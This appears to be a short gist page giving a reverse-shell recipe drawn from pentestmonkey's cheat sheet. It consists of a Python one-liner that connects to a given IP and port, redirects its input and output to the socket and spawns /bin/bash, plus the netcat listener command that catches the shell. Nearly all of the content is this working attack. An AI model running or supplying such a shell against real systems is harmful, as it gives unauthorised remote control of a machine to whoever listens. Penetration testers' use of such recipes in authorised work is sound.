This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet | |
| # on the CLIENT, run the following: | |
| # nc -l 12345 | |
| # on the SERVER, start the "reverse shell" | |
| python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345 | |
| # now go to the CLIENT, listen on port 12345 for incoming shell connections | |
| nc -l 12345 |